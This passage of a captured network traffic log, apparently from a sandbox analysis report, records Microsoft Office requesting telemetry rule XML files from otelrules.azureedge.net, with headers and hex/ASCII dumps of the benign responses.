2024-10-24 20:09:54 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 8522a688-a01e-0084-2768-219ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200954Z-16849878b78smng4k6nq15r6s4000000010000000000hhpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:54 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:54 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:54 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: efa6dde7-e01e-0071-750c-2208e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200954Z-16849878b787psctgubawhx7k800000007zg00000000kfkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:54 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:54 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:54 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:54 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: ffafe551-c01e-007a-413b-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200954Z-r197bdfb6b4kzncf21qcaynxz800000002c000000000nv5c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:54 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:54 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:54 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:54 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: b053902c-001e-0028-05ae-24c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200954Z-15b8d89586frzkk2umu6w8qnt80000000erg00000000fgc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:54 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:54 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:54 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:54 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6e18d5c3-a01e-00ab-48f4-249106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200954Z-r197bdfb6b4tq6ldv3s2dcykm8000000024g000000002kz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:54 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:55 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:55 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:55 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 697bb720-201e-0071-0781-25ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200955Z-15b8d89586f2hk28h0h6zye26c000000020g000000006q4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:55 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:55 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:55 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:55 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 264b7e39-001e-0028-804e-22c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200955Z-16849878b78c5zx4gw8tcga1b4000000080g00000000pf8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:55 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:55 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:55 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:55 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21fe56fb-901e-0016-40f2-24efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200955Z-r197bdfb6b4hsj5bywyqk9r2xw00000000xg000000007ccy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:55 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:55 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:55 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:55 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 53cea195-601e-0084-75f3-246b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200955Z-r197bdfb6b4t7wszkhsu1pyev000000000c0000000000hkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:55 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:55 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:55 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:55 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: ce674b06-f01e-0052-7d0b-229224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200955Z-16849878b78p6ttkmyustyrk8s00000007yg0000000101se x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:55 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:56 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:56 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:56 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: d17b1da0-901e-0064-5127-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200956Z-r197bdfb6b49q4951yb663v3ds00000000kg000000005f5t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:56 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:56 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:56 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:56 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 12d17a45-e01e-0051-1e28-2684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200956Z-r197bdfb6b49q4951yb663v3ds00000000gg000000005kxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
